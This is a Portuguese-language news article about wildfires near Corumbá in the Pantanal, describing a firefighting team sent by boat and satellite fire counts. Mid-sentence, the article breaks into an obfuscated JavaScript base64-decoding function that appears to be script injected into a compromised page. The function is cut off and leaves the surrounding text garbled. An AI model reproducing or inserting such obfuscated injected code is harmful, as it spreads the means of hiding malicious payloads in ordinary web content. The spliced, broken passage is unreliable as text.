[Via Campo Grande News]
As queimadas estão se alastrando por Corumbá - distante 419 km de Campo Grande. Na manhã desta quarta-feira (11), uma equipe com 10 militares do Corpo de Bombeiros seguiu de barco até a região do canal do Tamengo, onde um intenso incêndio atinge a vegetação local desde a última segunda-feira (9).
Segundo informações dos Bombeiros, as chamas tiveram início na Bolívia e atualmente atingem mais de 3km de extensão na região pantaneira.
"Ontem à tarde os Bombeiros, com apoio da Marinha do Brasil sobrevoaram por 30 minutos a área da planície em chamas, onde foi possível avaliar a dimensão da área atingida pelo fogo. Como estamos em época de seca do rio Paraguai, essa área que antes ficava alagada, com a seca produziu material combustível com a própria vegetação e que tornou que essa queima lenta e gradativa tomasse grandes proporções", explicou o cabo André Marti.
Ainda segundo o militar, o fenômeno é atípico, pois, janeiro é período de chuvas na região. "As chamas mais distantes estão próximas ao Rio Paraguai e devem se extinguir naturalmente. "O que preocupa mais é o fogo na região do Tamengo, pois, ainda há grande quantidade de vegetação e o fogo está produzindo grande coluna de fumaça", avalia.
A equipe foi até a região de barco, mas devido a complexidade do trajeto, alguns trechos devem ser feitos a pé. De acordo com informações do site Diário Corumbaense, choveu na tarde desta terça-feira (10) na região, mas em pouca quantidade, o que não ajudou a amenizar o problema do incêndio florestal na região.
Ranking das queimadas - Com 58 focos registrados entre os dias 1° e 8 de janeiro, Corumbá é o município brasileiro com maior número de incêndios florestais no Brasil, segundo estatísticas do monitoramento feito pela Divisão de Satélites e Sistemas Ambientais do CPTEC (Centro de Previsão de function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
O maior volume registrado para o período foi de 15 focos, nos últimos cinco anos. No mesmo período do ano passado, foram registrados sete focos e em 2014 e 2015 foram cinco episódios de queimadas.